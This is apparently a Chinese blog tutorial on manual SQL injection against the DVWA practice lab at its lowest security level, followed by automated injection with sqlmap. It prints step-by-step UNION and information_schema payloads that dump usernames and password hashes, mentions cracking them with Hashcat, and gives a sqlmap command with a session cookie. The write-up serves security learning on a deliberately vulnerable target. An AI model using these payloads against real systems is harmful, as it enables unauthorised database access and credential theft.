DVWA-LOW级-SQL手工注入漏洞测试(MySQL数据库)+sqlmap自动化注入-小白必看(超详细)

首次使用DVWA的靶场,咋们先从最低级别的LOW开始,因为之前玩过一下墨者学院,对sql注入有一点认识和理解,所以先从sql的盲注开始;

1、测试注入点是否存在sql注入的漏洞;

(1)首先我们在输入框随意输入数字,但发现并没有什么可以看出漏洞的地方,只能看到地址栏的id会根据我们输入的内容变化;

我们尝试在输入栏输入一些错误的判定条件让查询发生错误,但是很不幸并没用,后面还是通过看别人的发贴风险找到思路;

题外话:想要学会sql注入,首先是要熟悉数据库方面的知识,对于web页面的数据显示,后台sql是如何查询的,查询语句的结构是怎样,这都要有一定的认识和基础。我因为对语言和数据库方面的知识不够充分,所以一直比较抗拒web的渗透,对内网和网络攻击方面能够理解得更好,但是攻击的开始往往都是从web开始的,所以还是得学。

在这里我们想要让输出的内容报错,只能去理解和分析后台sql查询语句的构造;

这是从大佬分享的帖子里复制过来的,我们进行简单分析,首先是创建了一个参数id,而数值'id'就是我们从输入框输入的数字,在这过程中,数值'id'并没有进行对应的字符类型转换就直接提交到了sql的查询语句中。那么我们是不是可以想,根据'id'在语句中的位置,输入一些特殊的字符让查询语句失效,那么就可以让页面显示报错了。根据下面语句的结构,我们可以输入一个单引号让查询语句出错。

powershell 复制代码
// 错误示例(PHP代码)
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'"; // 用户输入直接拼接到SQL中

我们得到了这样的页面报错信息,大概意思是说你有一条错误的sql语句,那么同时我们就可以判定这个地方是存在sql注入的漏洞;

sql 复制代码
1.原始SQL可能是:SELECT * FROM users WHERE id = '[你的输入]'
 
2.输入单引号后:SELECT * FROM users WHERE id = ''' → 造成语法错误

2、通过ORDER BY确定表的列数

sql 复制代码
1' ORDER BY 1 #
1' ORDER BY 2 #
...

输入后的查询语句:
SELECT * FROM users WHERE id = '1' ORDER BY 1 #';

*注:#和 - - 在sql语句中是注释的作用,在软件开发时,为了后期代码维护和让其他人看得明白,所以会在对应地方加上注释符,后面添加对应代码的功能说明等信息,这些部分不会被程序所识别和执行。

当我们执行到1' ORDER BY 3 #时,就开始出现了报错,因此表的列数为2。

3、通过UNION联合查询或许数据库的信息

输出后能够成功或许到数据库的库名;

sql 复制代码
1' union select 1,database() #

同样如果我们想要输出的信息简洁一些,可以吧 " 1'" 的部分改为 " 6' ",因为对应id=6丝没有对应的数据的,所以只会显示我们后面select 1,database() 的内容。

sql 复制代码
6' union select 1,database() #

4、通过数据库的库名获取表名

这里就要引入另一个知识点,Mysql数据库的一个特征性,在information_schema库的tables表中记录了所有数据库的库名以及库名下面对应的所有表名,这里我不详细进行解说,在往期有进行过稍微详细的叙述。往期地址

通过这个特性,我们编辑好对应的查询语句,然后注入,得到了表名;

sql 复制代码
6' union select 1,table_name from information_schema.tables where table_schema=database() #

5、通过表明获取列明

可以看到输出的信息中,有user和password这些敏感字段,后面就能直接进行数据或许了;

sql 复制代码
6' union select 1,column_name from information_schema.columns where table_name='users' #

我这里使用的查询方式输出的结果都会单独的显示,这个可以参考一下大佬的查询命令,能够把所有的查询结果都集合到了同一条信息里面,避免表名数量太多显示不完全的问题,两种方式可以参考着使用;

sql 复制代码
6' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

6、通过列表名对敏感信息进行获取

sql 复制代码
6' union select user,password from dvwa.users #

获取了加密的password,我们运用昨天的几个小工具尝试进行解密;

首先检测Hash算法;

因为kali会报GPU内存不足,所以在物理机上采用Hashcat进行解密,因为不清楚掩码是什么,所以这里我们直接采用一个我平时收集的字典进行解密;

顺利跑出了明文。

7、通过sqlmap进行自动化注入

在之前的墨者学院靶场我们也使用过sqlmap进行自动化的注入,但是在这里会有一点小小的区别。

首先我们分析一下常规的测试指令:

sqlmap -u "[注入地址/url]"

然后常规的测试指令只适合于静态访问的网页,但是我们使用的靶场是经过用户的登录的,因此我们需要加入对应的cookie信息,把登录后的授权信息传递给sqlmap。

sqlmap -u "[注入地址/url]" --cookie "[站点cookie]"

实例:

我们打开开发者模式(按键F12),选择网络(Network),点击重新加载后选择第一个文件,我们获取对应的url地址和cookie信息(如下图)。

打开sqlmap,把我们收集到的信息进行指令编辑,并输入到sqlmap中执行。
注:在url输入时需要在id=1后面加上一个" * "符号,这表示这这个点进行注入。

测试指令。

powershell 复制代码
sqlmap -u "https://dvwa.bachang.org/vulnerabilities/sqli/?id=1*&Submit=Submit" --cookie "PHPSESSID=clql5r97tk05svu30kq8t44542; security=low" 

能够成功检测出存在的注入漏洞类型

对库名也能够进行成功爆破;

后面就可以参照之前的文章笔记进行操作,直到把表中的数据爆破出来,我就不再做详细的实验了;

总结:虽然在打靶场的时候其实也是一边看大佬分享的笔记再一边进行实验,但是重要的是每个过程都要自己去搞懂,要自己去操作,甚至一个符号,为什么要加这个符号,为什么要采用这样的查询方式都要弄清楚,这样以后遇到同样的喽洞才能更得心应手,而且这弄清楚的过程也是一个学习的过程,有些其实是一些很基础的东西,但是恰恰你不知道就无法再进一步。

多实践,多学习,多听trance,再见。

相关推荐
还是奇怪2 小时前
Linux - 安全排查 3
android·linux·安全
Another Iso2 小时前
CentOs 7 MySql8.0.23之前的版本主从复制
linux·mysql·centos
搂……住2 小时前
shiro550反序列化漏洞复现(附带docker源)
安全·docker·容器
周杰伦的稻香4 小时前
MySQL密码管理器“mysql_config_editor“
数据库·mysql
czhc11400756635 小时前
LINUX712 MYSQL;磁盘分区;NFS
数据库·mysql·adb
shenyan~5 小时前
关于 验证码系统 详解
网络安全
叁沐5 小时前
MySQL 13 为什么表数据删掉一半,表文件大小不变?
mysql
不太可爱的大白5 小时前
Mysql:分库分表
数据库·mysql
四季豆豆豆5 小时前
博客项目 laravel vue mysql 第四章 分类功能
vue.js·mysql·laravel
番茄老夫子6 小时前
可穿戴智能硬件在国家安全领域的应用
安全·智能硬件